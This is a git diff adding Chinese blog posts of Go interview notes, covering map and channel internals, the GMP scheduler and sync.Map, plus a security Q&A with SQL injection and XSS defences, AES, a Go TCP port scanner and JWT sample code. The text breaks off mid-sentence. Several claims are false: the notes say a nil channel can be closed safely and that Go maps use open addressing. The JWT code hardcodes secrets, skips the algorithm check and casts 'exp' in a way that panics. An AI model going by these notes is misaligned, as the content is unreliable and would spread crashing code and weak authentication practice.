Chart 和自定义分发版的收集器可以提供灵活性和精确控制的优势,即能够满足特定的需求,也不会添加不必要的额外部分。 + +总结 +OpenTelemetry Collector 是一个功能强大的工具,它的一大优点是您可以创建自己的收集器分发版来满足您的需求。在我看来,这种灵活性使得 OpenTelemetry Collector 在 OpenTelemetry 生态系统中具备重要作用。 + diff --git a/_posts/2023-11-5-test-markdown.md b/_posts/2023-11-5-test-markdown.md new file mode 100644 index 000000000000..b6cd0e723430 --- /dev/null +++ b/_posts/2023-11-5-test-markdown.md @@ -0,0 +1,364 @@ +--- +layout: post +title: Go Map底层实现 +subtitle: +tags: [Metric] +comments: true +--- + + +Go 中的 `map` 是一个无序的键值对集合,其底层实现是哈希表。以下是 Go 中 `map` 的底层实现的详细描述: + +1. **哈希表的基本结构**: + 基本结构: Go 的 map 结构体包括哈希函数、桶、键值对数组等。 + +2. **Buckets(桶)**: + - Go 的 `map` 将哈希表分为许多小块或"桶"(buckets)。默认情况下,一个 `map` 有一个桶。 + - 每个桶都可以存储 8 个键值对。 + - 当桶填满时,`map` 会触发扩容操作,桶的数量将增加为原来的两倍。 + +触发时机: 当 map 的填充因子(即已存储的键值对数量与桶的数量之比)超过一个阈值(通常是 6.5/8,因为每个桶可以存储8个键值对)时,它会触发扩容。翻倍扩容: 当扩容发生时,map 的大小通常会翻倍。这意味着桶的数量会加倍。 + +3. **扩容(resizing)**: + - 当哈希表的负载因子超过阈值(例如,键值对太多导致桶填满)时,将会发生扩容。 + - 扩容意味着分配一个新的、更大的哈希表,并将旧表中的键值对迁移到新表中。 + - 翻倍扩容: 当扩容发生时,map 的大小通常会翻倍。这意味着桶的数量会加倍。 + - 重新哈希: 扩容意味着每个已经存在的键值对都需要被重新哈希到新的桶。这是因为哈希的结果是基于桶的数量的,而桶的数量已经变化。 + - 分摊策略: 为了避免在单次操作中产生大的延迟,Go 的 map 实现了一种分摊策略。这意味着,当扩容触发时,不是一次性重新哈希所有的键值对。而是在接下来的几个操作中逐步进行,每次操作重新哈希一部分。 + - 旧的数据结构: 为了支持分摊策略,当扩容发生时,旧的数据结构会被保留,直到所有的键值对都被移到新的桶。只有当所有键值对都被重新哈希之后,旧的数据结构才会被释放。 +4. **哈希算法和碰撞处理**: + - 对于每个键,Go 使用哈希算法计算哈希值。 + - 如果两个键有相同的哈希值(即哈希碰撞),Go 会使用开放寻址来解决碰撞。 + +5. **删除键值对**: + - 在 Go 的 `map` 中删除键值对不会立即释放内存。相反,该位置会被标记为"已删除",并在后续的扩容操作中得到清理。 + +6. **安全性和并发**: + - Go 的 `map` 不是并发安全的。如果在多个 goroutine 中同时对同一个 `map` 进行读写,这可能会导致未定义的行为。 + - 为了在并发环境中使用 `map`,应该使用互斥锁(例如 `sync.Mutex`)或者使用特定的并发安全数据结构,例如 `sync.Map`。 + +7. **空间优化**: + - Go 中的 `map` 实现对空间进行了优化,确保了即使有大量的空桶,`map` 也不会浪费太多的内存。 + - 当 `map` 中的条目被频繁删除时,可能会触发缩小哈希表的大小,以节省内存。 + + +> `map` 不是并发安全的 + +goroutine 在写时,就会发生数据竞争。如果没有适当的同步机制,数据竞争可能导致程序的不确定行为。 + +内部结构:map 在 Go 中是一个复杂的数据结构。它需要维护散列表的内部状态,如哈希桶、键值对和其他元数据。当多个 goroutine 同时修改这些结构时,可能会破坏这些数据结构,导致不可预见的错误。 + +扩容时的复杂性:当 map 的填充因子超过阈值时,它可能会进行扩容。扩容涉及到重新哈希和分摊策略,这使得并发修改变得更为复杂。 + +非原子操作:map 的操作,如插入、删除和查找,都不是原子的。这意味着,在一个 goroutine 还在执行某个操作的中间阶段时,另一个 goroutine 可能会开始它自己的操作,这可以导致不稳定的状态。 + +效果:数据竞争和上述问题可能导致如下的后果:程序崩溃、map 返回不正确的值、程序行为不稳定、程序难以调试等。 + +解决方法:为了避免这些问题,需要确保在多个 goroutine 中对同一个 map 的并发访问是受到适当同步的。可以使用互斥锁(例如 sync.Mutex)来确保每次只有一个 goroutine 可以访问 map。 + + +> Go 语言channel的底层实现 + +首先,channel 是 Go 语言中用于 goroutine 之间的通信的核心原语。它允许数据在不同的 goroutine 之间安全地传递,而无需明确的锁或条件变量。 + +数据结构: + +channel 在内部被表示为一个结构体,这个结构体包含了缓冲区(用于保存数据)、指示发送和接收的状态的变量、以及等待发送或接收的 goroutine 的队列。 + +零缓冲 vs. 有缓冲: +对于无缓冲的 channel,发送操作将会阻塞,直到有另一个 goroutine 接收数据,反之亦然。这为同步提供了一个机制。 +有缓冲的 channel 具有一个固定大小的队列,允许发送者在队列未满时继续发送,接收者在队列非空时继续接收。 + +同步原语: +channel 使用了内部的同步原语,如互斥锁和信号量,来确保并发访问的安全性。 + +发送和接收的操作: +当向一个 channel 发送数据时,Go 会首先检查是否有在该 channel 上等待的接收者。如果有,数据将被直接传递给接收者。如果没有,数据将被放入 channel 的缓冲区(如果可用)。 +当从 channel 接收数据时,Go 会首先检查 channel 的缓冲区。如果缓冲区中有数据,它会被返回。如果没有,接收者将等待,直到有数据可用。 + +关闭机制: +channel 可以被关闭,表示不会有更多的数据被发送到 channel。这对于通知接收者没有更多的数据可用非常有用。 + +选择器: +Go 的 select 语句允许 goroutine 等待多个通信操作,使得可以同时监听多个 channel。 + +> 关闭channel 的时候有没有什么需要注意的点 + +重复关闭:不要尝试重复关闭同一个 channel。这将导致运行时恐慌(panic)。为了避免这种情况,确保清楚地知道哪个 goroutine 负责关闭特定的 channel。 + +仅由发送者关闭:一般来说,只应该由发送数据到 channel 的 goroutine 来关闭它。这样可以避免在关闭 channel 时还有其他 goroutine 向它发送数据的风险。 + +检测关闭的 channel:当从一个已关闭的 channel 接收数据时,将收到该类型的零值。还可以使用两值的接收形式来确定 channel 是否已关闭: + +```go +v, ok := <-ch +if !ok { + // channel 已经关闭并且所有数据都已被接收 +} +``` +不要关闭只接收的 channel:如果的 goroutine 只是从 channel 接收数据,不要尝试关闭它。通常情况下,关闭操作应该由发送数据的一方处理。 + +nil channel:nil channel 既不会接收数据,也不会发送数据。尝试从 nil channel 发送或接收数据会永远阻塞。但可以安全地关闭一个 nil channel,它不会有任何效果。 + +关闭后发送数据:一旦 channel 被关闭,不应再向其发送数据。如果尝试这样做,程序将引发恐慌。 + +清晰的结束信号:关闭 channel 通常用作向接收方发送结束信号,表示没有更多的数据将被发送。接收方可以继续从 channel 接收数据,直到所有已发送的数据都被接收,之后从已关闭的 channel 接收数据将返回零值。 + + +> Go 中的接口(interface): + +在 Go 语言中,接口是一个类型,它规定了一组方法,但是没有实现。任何其他类型只要实现了这些方法,则隐式地满足了该接口,无需明确声明它实现了该接口。这称为结构化类型系统。 + +与其他语言的区别: + +隐式满足:在许多面向对象的语言中,一个类必须明确地声明它实现了哪个接口。但在 Go 中,满足接口是隐式的。 + +没有类的概念:Go 没有“类”的概念,因此它依赖接口来实现多态性。 + +组合优于继承:Go 鼓励使用组合而不是继承,接口提供了一种方式来组合行为。 + + +> Go 如何实现并发? + +Go 语言使用 goroutines 和 channels 来实现并发和并行: + +Goroutines:goroutine 是一个轻量级线程管理的并发执行单元。启动一个新的 goroutine 非常简单,只需在函数前添加 go 关键字。 + +```go +go funcName() +``` +Go 的运行时会管理所有的 goroutine,并在适当的时候进行上下文切换。 + +Channels:channel 是一种在多个 goroutine 之间进行通信的机制。channel 可以发送和接收数据,提供了一种同步的方式来传输数据。 +```go +ch := make(chan int) +``` + + +> 描述快速排序的基本思想 + +快速排序是一种分治算法。它的基本思想是选择一个“基准”元素,然后重新排列数组,使得小于基准的元素在基准之前,大于基准的元素在基准之后。这个操作称为分区操作。接着,递归地对基准之前和之后的两部分独立进行快速排序。过程如下: + +选择一个元素作为基准。 +对数组进行分区,使小于基准的元素在基准的左边,大于基准的元素在基准的右边。 +递归地对基准左边和右边的子数组进行快速排序。 + +> 如何找到两个字符串的最长公共子序列? + +最长公共子序列问题可以使用动态规划来解决。给定两个字符串 A 和 B,我们使用一个二维数组 dp,其中 dp[i][j] 表示字符串 A 的前 i 个字符与字符串 B 的前 j 个字符的最长公共子序列的长度。基本步骤如下: + +如果 A[i] 等于 B[j],那么 dp[i][j] = dp[i-1][j-1] + 1。 +如果 A[i] 不等于 B[j],那么 dp[i][j] = max(dp[i-1][j], dp[i][j-1])。 +最终,dp[len(A)][len(B)] 就是两个字符串的最长公共子序列的长度。 + +> 解释Dijkstra算法如何找到图中的最短路径。 + +Dijkstra算法是一个用于在带权重的图中找到起点到其他所有顶点的最短路径的算法。基本步骤如下: + +初始化:将所有顶点的最短路径估计值设为无穷大,将起点的估计值设为0。 +创建一个空的已访问集合。 +对于当前节点,考虑其所有未访问的邻居,并计算从当前节点到它们的距离。如果新的路径比已知的路径短,更新路径。 +选择未访问的节点中具有最小路径估计值的节点作为下一个节点,将其添加到已访问的集合中。 +重复第3和第4步,直到访问所有节点。 +Dijkstra算法只适用于不包含负权边的图。如果图包含负权边,那么需要使用其他算法,如Bellman-Ford算法。 + + +> 关键的指标 + +CPU使用率:表示CPU正在使用的时间百分比。过高的CPU使用率可能意味着系统过载,需要更多的资源或优化。 + +重要性:持续高的CPU使用率可能导致响应时间增长和性能下降。 +内存使用:表示已使用和可用的物理内存量。 + +重要性:内存不足可能导致系统使用交换空间(swap),这会大大降低性能。 + +磁盘I/O:表示磁盘读写的速度和数量。 +重要性:高的磁盘I/O可能会影响数据的读取和写入速度,从而影响应用的性能。 + +网络带宽使用:表示数据传输的速度和量。 +重要性:网络拥堵可能导致数据传输延迟,影响用户体验和系统之间的通信。 + +应用指标: +响应时间:表示应用响应用户请求所需的时间。 + +重要性:长的响应时间可能导致用户不满,影响用户体验。 +错误率:表示出现错误的请求与总请求的比例。 + +重要性:高的错误率可能表示应用中存在问题或故障,需要立即排查。 +吞吐量:表示在特定时间段内应用处理的请求数量。 + +重要性:它可以帮助我们了解应用的负载能力和是否需要扩展资源。 +活跃用户数:表示在特定时间段内使用应用的用户数量。 + +重要性:它可以帮助我们了解应用的受欢迎程度和是否满足用户需求。 + + +CPU使用率: + +命令行工具: 如 top, htop, 和 vmstat。 +监控解决方案: 如 Prometheus + node_exporter, Zabbix, Nagios, Datadog 等。 +内存使用: + +命令行工具: 如 free, vmstat, 和 top。 +监控解决方案: 与CPU使用率相同,例如 Prometheus + node_exporter 可以轻松收集系统内存使用情况。 +磁盘I/O: + +命令行工具: 如 iostat, df, 和 du。 +监控解决方案: Prometheus + node_exporter, Zabbix, Nagios, Datadog 等也支持磁盘I/O的监控。 +网络带宽使用: + +命令行工具: 如 netstat, iftop, 和 nload。 +监控解决方案: 如 Prometheus + node_exporter(提供网络使用情况指标),Zabbix, Nagios, Datadog 等。 + +```text +接口QPS +接口耗时 +接口可用性 +``` + +> GMP的个数 + +在 Go 语言的运行时系统中,GMP 模型是一个核心的调度模型,其中: + +G 代表 Goroutine,它是 Go 语言中的轻量级线程。 +M 代表 Machine,可以理解为操作系统的物理线程。 +P 代表 Processor,代表了执行 Go 代码的资源,可以看作是 M 和 G 之间的桥梁。 +关于 M 和 P 的数量: + +M (Machine) 的数量: + +M 的数量与程序创建的系统线程数量有关。当一个 Goroutine 阻塞(例如,因为系统调用或因为等待某些资源)时,Go 运行时可能会创建一个新的 M 来保证其他 Goroutines 可以继续执行。 +Go 的运行时会尽量复用 M,但在某些情况下,例如系统调用,可能会创建新的 M。 +M 的数量是动态变化的,取决于 Goroutines 的行为和系统的负载。 + +P (Processor) 的数量: +P 的数量通常与机器的 CPU 核心数相等。这意味着在任何给定的时间点,最多可以有 P 个 Goroutines 同时在不同的线程上执行。 +P 的数量可以通过 GOMAXPROCS 环境变量或 runtime.GOMAXPROCS() 函数来设置。默认情况下,它的值是机器上的 CPU 核心数。 +P 的数量决定了可以并发执行 Go 代码的 M 的最大数量。 +总的来说,M 的数量与程序的实际行为和系统调用的频率有关,而 P 的数量通常与 CPU 核心数相等(但可以调整),决定了可以并发执行的 Goroutines 的数量。 + + +早期的GM模型 +在早期的Go调度模型(GM模型)中,所有的Goroutine(G)都是由一组系统线程(M)来执行的。这些系统线程共享一个全局的Goroutine队列。当一个系统线程需要执行一个新的Goroutine时,它会从全局队列中取出一个Goroutine来执行。 + +全局锁问题 +全局队列的争用: 在GM模型中,所有的M都要访问同一个全局的Goroutine队列,这会导致高度的锁争用。 + +缺乏局部性: 因为所有的M都从同一个全局队列中取G,这导致了缓存局部性的问题。 + +调度开销: 每次从全局队列中取G或放G都需要加锁和解锁,这增加了调度的开销。 + +现在的GMP模型 +为了解决这些问题,Go引入了现在的GMP模型。在这个模型中,引入了一个新的实体,即Processor(P)。 + +P与M的绑定: 在GMP模型中,每个M在执行Goroutines之前都会先获取一个P。这样,每个M都有自己的本地队列,从而减少了锁的争用。 + +本地队列: 每个P都有一个本地的Goroutine队列。当M需要执行新的Goroutine时,它首先会查看与其绑定的P的本地队列。 + +全局队列仍然存在: 全局队列没有被完全去掉,但它只在本地队列为空,或者需要平衡负载时才会被访问。 + +动态调整: GMP模型允许动态地增加或减少M和P的数量,以适应不同的工作负载。 + +通过这些改进,GMP模型解决了早期GM模型中的全局锁争用和其他问题,同时提供了更高效和更灵活的调度机制。 + + + +context.Context 是 Go 语言中用于跨多个 goroutine 传递 deadline、取消信号和其他请求范围的值的接口。Done() 方法返回一个 channel,当该 context 被取消或超时时,该 channel 会被关闭。 + +为了理解 context.Done() 的底层实现,我们首先需要了解 context.Context 的几种具体实现: + +context.emptyCtx:它是一个不可取消、没有值、没有 deadline 的 context。 +context.cancelCtx:它是一个可以取消的 context。 +context.timerCtx:它是一个在指定时间后自动取消的 context。 +context.valueCtx:它是一个携带键值对的 context。 +其中,cancelCtx 和 timerCtx 是与取消相关的 context 实现,它们都有一个 Done channel。 + +现在,让我们看一下 context.Done() 的低层实现: + +> context.Done() 的底层实现 + +```go +type cancelCtx struct { + Context + + mu sync.Mutex // protects following fields + done chan struct{} // created lazily, closed by first cancel call + children map[canceler]struct{} // set to nil by the first cancel call + err error // set to non-nil by the first cancel call +} + +func (c *cancelCtx) Done() <-chan struct{} { + c.mu.Lock() + if c.done == nil { + c.done = make(chan struct{}) + } + d := c.done + c.mu.Unlock() + return d +} +``` +从上面的代码中,我们可以看到: + +cancelCtx 结构体有一个 done channel,它是懒加载的,即在第一次调用 Done() 时才被创建。 +当 cancelCtx 被取消时,done channel 会被关闭。 +Done() 方法简单地返回 done channel。 +对于 timerCtx(它是 cancelCtx 的子类型),当 deadline 到达时,它也会取消 context,从而关闭 done channel。 + +总的来说,context.Done() 的底层实现是基于一个懒加载的 channel,当 context 被取消或超时时,这个 channel 会被关闭。 + +> sync.Map的底层实现 + +通过 read 和 dirty 两个字段实现数据的读写分离,读的数据存在只读字段 read 上,将最新写入的数据则存在 dirty 字段上 +读取时会先查询 read,不存在再查询 dirty,写入时则只写入 dirty +读取 read 并不需要加锁,而读或写 dirty 则需要加锁 +另外有 misses 字段来统计 read 被穿透的次数(被穿透指需要读 dirty 的情况),超过一定次数则将 dirty 数据更新到 read 中(触发条件:misses=len(dirty)) + + +优缺点 +优点:Go官方所出;通过读写分离,降低锁时间来提高效率; +缺点:不适用于大量写的场景,这样会导致 read map 读不到数据而进一步加锁读取,同时dirty map也会一直晋升为read map,整体性能较差,甚至没有单纯的 map+metux 高。 +适用场景:读多写少的场景 + + +```go +// sync.Map的核心数据结构 +type Map struct { + mu Mutex // 对 dirty 加锁保护,线程安全 + read atomic.Value // readOnly 只读的 map,充当缓存层 + dirty map[interface{}]*entry // 负责写操作的 map,当misses = len(dirty)时,将其赋值给read + misses int // 未命中 read 时的累加计数,每次+1 +} + +// 上面read字段的数据结构 +type readOnly struct { + m map[interface{}]*entry // + amended bool // Map.dirty的数据和这里read中 m 的数据不一样时,为true +} + +// 上面m字段中的entry类型 +type entry struct { + // 可见value是个指针类型,虽然read和dirty存在冗余情况(amended=false),但是由于是指针类型,存储的空间应该不是问题 + p unsafe.Pointer // *interface{} +} +``` + +在 sync.Map 中常用的有以下方法: + +- ```Load()```:读取指定 key 返回 value +- ```Delete()```: 删除指定 key +- ```Store()```: 存储(新增或修改)key-value + +当Load方法在read map中没有命中(miss)目标key时,该方法会再次尝试在dirty中继续匹配key;无论dirty中是否匹配到,Load方法都会在锁保护下调用missLocked方法增加misses的计数(+1);当计数器misses值到达len(dirty)阈值时,则将dirty中的元素整体更新到read,且dirty自身变为nil。 + +发现sync.Map是通过冗余的两个数据结构(read、dirty),实现性能的提升。为了提升性能,load、delete、store等操作尽量使用只读的read;为了提高read的key击中概率,采用动态调整,将dirty数据提升为read;对于数据的删除,采用延迟标记删除法,只有在提升dirty的时候才删除。 + +delete(m.dirty, key)这里采用直接删除dirty中的元素,而不是先查再删: +将read中目标key对应的value值置为nil(e.delete()→将read=map[interface{}]*entry中的值域*entry置为nil) + +实现原理总结: +通过 read 和 dirty 两个字段将读写分离,读的数据存在只读字段 read 上,将最新写入的数据则存在 dirty 字段上 +读取时会先查询 read,不存在再查询 dirty,写入时则只写入 dirty +读取 read 并不需要加锁,而读或写 dirty 都需要加锁 +另外有 misses 字段来统计 read 被穿透的次数(被穿透指需要读 dirty 的情况),超过一定次数则将 dirty 数据同步到 read 上 +对于删除数据则直接通过标记来延迟删除 + diff --git a/_posts/2023-11-6-test-markdown.md b/_posts/2023-11-6-test-markdown.md new file mode 100644 index 000000000000..212f268665ea --- /dev/null +++ b/_posts/2023-11-6-test-markdown.md @@ -0,0 +1,515 @@ +--- +layout: post +title: Go/安全 +subtitle: +tags: [安全] +comments: true +--- + + +> 请描述SQL注入攻击并给出预防的方法。 + +描述:SQL注入攻击是一种安全攻击技术,攻击者通过输入恶意的SQL代码段来操纵数据库查询。如果应用程序不正确地过滤用户的输入,攻击者可以读取敏感数据、修改数据、执行管理操作等。 + +预防方法: + +使用参数化查询或预编译语句。这确保用户输入被视为数据,而不是可执行的代码。 +使用ORM(对象关系映射)工具,因为大多数ORM都会自动处理SQL注入的预防。 +对所有用户输入进行验证和清理。 +不使用管理员权限来连接数据库。使用低权限账户。 +不在错误消息中公开数据库详细信息。 + +> 什么是跨站脚本攻击(XSS)?如何防止它? + +跨站脚本攻击(XSS): + +描述:跨站脚本攻击允许攻击者在受害者的浏览器中执行恶意JavaScript代码。这通常是因为Web应用接受并在没有适当过滤的情况下返回用户输入。 + +当用户访问了被植入了恶意程序的网页的时候,因为这些程序在用户的浏览器上执行,恶意脚本在用户的浏览器中执行,这意味着它可以访问和操作浏览器存储的所有与该网站相关的信息。这些信息可能包括cookies、session IDs、本地存储数据等,这些都是非常敏感的用户数据。攻击者可以利用这些信息进行身份冒充,窃取账号,或执行其他恶意操作。因此,XSS是一种非常严重的安全威胁。 + +预防方法: + +输入验证和过滤:所有用户输入都应该被当作不可信任的。使用白名单或正则表达式来过滤和验证用户输入。 +输出编码:在将用户输入插入到HTML文档中之前,对其进行适当的编码,比如将特殊字符转化为HTML实体。 +使用CSP(内容安全策略):这是一个浏览器安全标准,可以限制网页中运行的脚本来源,有效防止XSS攻击。 +使用HTTP-only Cookies:这样做可以防止脚本访问敏感的cookie数据。 +适当地管理Session:例如,使用安全的、随机生成的session IDs,并通过安全的通道传输。 +框架和库的安全使用:使用已经具有一定安全措施的开发框架和库,并保持其为最新版本。 +安全编程习惯:例如,不要使用eval()、innerHTML、document.write()等不安全的JavaScript API。 +对所有的用户输入进行适当的过滤或转义。 +使用浏览器的XSS防护功能,如HTTP头部的X-XSS-Protection。 +避免直接在页面上插入用户数据。 +使用更新和维护的库和框架,因为它们通常包括XSS防护措施。 + +> 描述一种熟悉的加密算法,并解释其工作原理。 + +描述:AES(高级加密标准)是一种广泛使用的对称密钥加密算法。在对称密钥加密中,相同的密钥用于加密和解密数据。AES支持128、192和256位密钥长度,通常称为AES-128、AES-192和AES-256。 + +工作原理: + +AES是基于块的算法,意味着它一次处理固定大小的数据块。对于AES,数据块大小固定为128位。 +加密过程包括多个加密轮,每个加密轮使用不同的子密钥,这些子密钥从原始加密密钥派生。 +每轮包括一系列的操作,包括字节替代、行移位、列混淆和添加轮密钥。 +最终,经过足够的加密轮,我们得到加密的数据块。 + +> 对称加密算法 + +块大小: + +AES是基于块的加密算法,这意味着它在给定时间内加密固定数量的数据位。对于AES,这个固定大小是128位,也就是16字节。 + +密钥和子密钥: + +AES可以使用128位、192位或256位的密钥。加密过程需要多个加密轮,其中每一轮都需要一个子密钥。这些子密钥是从提供的初始密钥派生出来的。具体地说,AES-128需要10轮,AES-192需要12轮,AES-256需要14轮。 + +加密轮的步骤: + +字节替代 (SubBytes): 在这个步骤中,每个字节都被替换为另一个字节。这是通过查找一个固定的表(称为S-box)来完成的。 + +行移位 (ShiftRows): 这是一个简单的置换步骤,其中数据的每一行都向左移动一个固定的数目。 + +列混淆 (MixColumns): 这个步骤涉及到数据的列。每列都与一个固定的矩阵相乘,以实现扩散。这一步在最后一轮加密中是不执行的。 + +添加轮密钥 (AddRoundKey): 在这个步骤中,子密钥(派生自主密钥)被逐位地与数据块异或。 + +输出: + +在最后一轮之后,得到一个128位的加密块。这个块是原始数据块的加密版本。 + + +> 如何在Go中安全地存储敏感数据(例如密码)? + +哈希密码: 从不明文存储密码。使用强哈希函数(如bcrypt、scrypt或argon2)来存储密码的哈希值。 + +```go +import "golang.org/x/crypto/bcrypt" + +hashedPassword, err := bcrypt.GenerateFromPassword([]byte(plainPassword), bcrypt.DefaultCost) +``` +使用环境变量或配置管理工具: 对于配置数据或API密钥等敏感数据,最好使用环境变量或专用的配置管理工具,而不是硬编码到应用程序中。 + +使用安全存储: 对于高度敏感的数据,可以考虑使用硬件安全模块(HSM)或密钥管理服务(KMS)。 + +> 描述在Go web应用中如何安全地处理用户输入。 + +预防SQL注入: + +使用参数化的SQL查询或ORM,而不是字符串拼接。 +```go +db.Query("SELECT * FROM users WHERE id = ?", userID) +``` + +> 在Go中,如何避免并发中的竞态条件? + +使用sync包: + +使用互斥锁(sync.Mutex)来保护对共享资源的访问。 +```go +var mu sync.Mutex +mu.Lock() +// critical section +mu.Unlock() +``` + +原子操作: +对于简单的读/写操作,可以使用sync/atomic包中的函数。 +使用通道 (channels): +通道提供了一种在Goroutines之间安全传递数据的方式。正确使用通道可以避免竞态条件。 +使用-race标志进行测试: Go的race检测器是一个有价值的工具,它可以帮助检测并发代码中的竞态条件。 +```bash +go test -race mypkg +``` +避免使用全局变量: 全局变量可能会在多个goroutine中共享,这增加了竞态条件的风险。 + + + +> 给定一个简单的Go web应用程序,找出并解决所有安全漏洞。 + +安全漏洞: +SQL注入: getUser函数中的SQL查询容易受到SQL注入攻击。 +明文数据库密码: 数据库连接字符串包含明文密码。 +缺乏HTTPS: 应用程序在没有加密的HTTP上运行。 + +修复安全问题: +防止SQL注入: +使用参数化查询来获取用户。 +```go +row := db.QueryRow("SELECT email FROM users WHERE username=?", username) +``` +保护数据库密码: +使用环境变量或配置文件存储数据库凭据。 +使用HTTPS: +使用http.ListenAndServeTLS启用HTTPS。 + +> 请编写一个Go程序,用于扫描特定网站的开放端口。 + +```go +package main + +import ( + "fmt" + "net" + "sync" + "time" +) + +func scanPort(host string, port int, wg *sync.WaitGroup) { + defer wg.Done() + address := fmt.Sprintf("%s:%d", host, port) + conn, err := net.DialTimeout("tcp", address, 1*time.Second) + if err == nil { + fmt.Println("Open:", port) + conn.Close() + } +} + +func main() { + host := "example.com" + var wg sync.WaitGroup + + for port := 1; port <= 1024; port++ { + wg.Add(1) + go scanPort(host, port, &wg) + } + + wg.Wait() +} +``` + +工具和库: + +使用过哪些Go安全库或工具?请描述的经验。 + +> crypto: Go的标准库提供了crypto包,它包含了一些加密算法的实现,例如AES、RSA等。 +> secure: 这个库提供了一些安全增强功能,例如为HTTP cookies设置安全标志。 +> go-jose: 一个用于JSON Web Signing(JWS)和JSON Web Encryption(JWE)的库。 +> x/crypto/bcrypt: 这是一个用于密码哈希的库,常用于安全地存储用户密码。 +> x/crypto/ssh: 提供了SSH客户端和服务器的实现。 +> x/net/http2: 提供了HTTP/2的实现,增强了Web通信的安全性。 +> gosec: 这是一个Go源代码安全扫描器,它可以检测代码中的常见安全问题。 + + +> 描述最近解决的一个安全相关的问题或挑战。 + +最近解决的一个安全问题可能与API安全有关。例如,使用OAuth2和JWT令牌来增强API的安全性,防止未经授权的访问。 + +> 如果的Go应用遭受DDoS攻击,会怎么做? + +应急响应 +流量分析: 尽快分析流量模式以确定是否确实是DDoS攻击。 +通知相关方: 通知您的团队和任何相关的第三方服务提供商,例如云服务供应商或DDoS缓解服务。 + +防护措施 +使用反DDoS服务: 云服务提供商如AWS, Azure, GCP等通常会提供一些DDoS防护措施。 +流量限制: 使用Go中的中间件来限制来自单一源的请求。 +IP黑名单: 临时阻止明显进行攻击的IP地址。 +负载均衡: 分散流量到多个服务器。 +自动缩放: 如果可能,动态地添加更多资源来分摊流量。 + +应用层防护 +缓存: 缓存静态资源,减少对后端服务器的压力。 +超时: 在Go应用中设置合理的请求超时。 +队列: 使用队列来处理请求,防止立即崩溃。 +验证: 加入诸如验证码或挑战-应答测试以区分人类用户和机器。 + +分析和监控 +日志分析: 持续监控日志以检测不正常模式。 +性能监控: 使用Go的性能工具或第三方应用来监控系统性能。 +后期审计与改进 +影响分析: 攻击后,进行深入分析以了解攻击的影响。 +持续改进: 根据最近的攻击,更新的防御策略和机制。 + + +> 描述零知识证明(Zero-Knowledge Proofs)及其潜在的用途。 + +零知识证明(Zero-Knowledge Proofs) +零知识证明是一种密码学原理,允许一方(证明者)向另一方(验证者)证明一个陈述是真实的,而无需透露任何有关该陈述的额外信息。换句话说,这是一种同时维护隐私和安全的方式,来证明某个信息的真实性。 + +基本概念 +证明者 (Prover): 拥有某个信息(或称为“见证”)并希望证明其真实性的实体。 +验证者 (Verifier): 希望证明者证明某个陈述真实性但又不希望证明者透露更多信息的实体。 +例如,假设拥有一个密码,可以通过零知识证明的方式向我证明确实知道这个密码,但并不会在过程中把密码透露给我。 + +基本属性 +完备性(Completeness): 如果陈述是真实的,那么诚实的证明者总是可以成功地证明给诚实的验证者。 +零知识性(Zero-Knowledgeness): 如果陈述是真实的,验证者不能从证明过程中学到任何关于证明者信息的额外知识。 +可靠性(Soundness): 如果陈述是假的,那么没有办法通过证明来欺骗验证者。 +潜在的用途 + +身份验证: 在不泄露密码或私钥的情况下,证明是声称的人。 +安全交易和匿名支付: 在交易中证明资金的来源和合法性,而不需要透露交易的全部细节。 +数据隐私和权限管理: 证明有权访问或修改某个数据集,而不需要透露具体的访问权限或身份。 +智能合约和区块链: 零知识证明可以用于创建更为私密和安全的区块链交易。 +数字版权和所有权: 在不透露具体内容的情况下,证明拥有某项内容的合法权益。 +审计和合规: 公司或个人可以证明他们遵守了某些规定或标准,而不必公开所有的审计信息。 + +> 描述如何使用Go实现JWT(JSON Web Tokens)验证。 + +安装依赖库: 通常使用github.com/dgrijalva/jwt-go库来实现JWT功能。 + +```go +go get github.com/dgrijalva/jwt-go +``` +生成Token: 创建一个新的JWT token并用一个密钥签名。 + +```go +import ( + "github.com/dgrijalva/jwt-go" + "time" +) + +func CreateToken() (string, error) { + token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{ + "user": "username", + "exp": time.Now().Add(time.Hour * 1).Unix(), + }) + + tokenString, err := token.SignedString([]byte("your_secret_key")) + if err != nil { + return "", err + } + return tokenString, nil +} +``` +验证Token: 提取并验证客户端传来的token。 + +```go +import ( + "github.com/dgrijalva/jwt-go" + "strings" +) + +func ValidateToken(tokenString string) (bool, error) { + token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) { + return []byte("your_secret_key"), nil + }) + + if err != nil { + return false, err + } + + if claims, ok := token.Claims.(jwt.MapClaims); ok && token.Valid { + user := claims["user"].(string) + exp := claims["exp"].(int64) + // 进一步验证token信息,例如用户、过期时间等 + _ = user + _ = exp + return true, nil + } else { + return false, err + } +} +``` +使用验证: 通常在中间件或路由处理函数中使用以上的验证函数。 + +```go +func YourHandler() { + tokenString := "the_token_from_client" // 通常从HTTP头或请求参数中获取 + isValid, err := ValidateToken(tokenString) + if !isValid || err != nil { + // 无效token,返回错误信息 + } + // token有效,继续处理 +} + +``` +生成JWT: + +```go +package main + +import ( + "fmt" + "time" + "github.com/dgrijalva/jwt-go" +) + +func main() { + // Define claims + claims := &jwt.StandardClaims{ + ExpiresAt: time.Now().Add(24 * time.Hour).Unix(), + Issuer: "myapp", + } + + // Create the token + token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims) + + // Sign the token with a secret key + secretKey := []byte("mySecretKey") + ss, err := token.SignedString(secretKey) + if err != nil { + panic(err) + } + + fmt.Println(ss) +} + +``` +解析和验证JWT: + +```go +package main + +import ( + "fmt" + "github.com/dgrijalva/jwt-go" +) + +func main() { + ss := "..." // Replace with the JWT string + secretKey := []byte("mySecretKey") + + // Parse the token + token, err := jwt.ParseWithClaims(ss, &jwt.StandardClaims{}, func(token *jwt.Token) (interface{}, error) { + return secretKey, nil + }) + if err != nil { + panic(err) + } + + // Check if token is valid + if claims, ok := token.Claims.(*jwt.StandardClaims); ok && token.Valid { + fmt.Println(claims.Issuer) + } else { + fmt.Println("Invalid token") + } +} +``` +使用JWT时,建议使用足够强度的密钥,并定期更换。此外,如果可能的话,最好使用加密的 + + +> WebAssembly对安全的影响? + +通常称为Wasm)是一个为Web浏览器设计的新的低级二进制格式。它允许非JavaScript代码在浏览器中运行,旨在提供近乎原生的性能。尽管WebAssembly在许多方面都有前景,但它确实引入了一些新的安全挑战和影响。以下是关于WebAssembly对安全的影响的一些观点: + 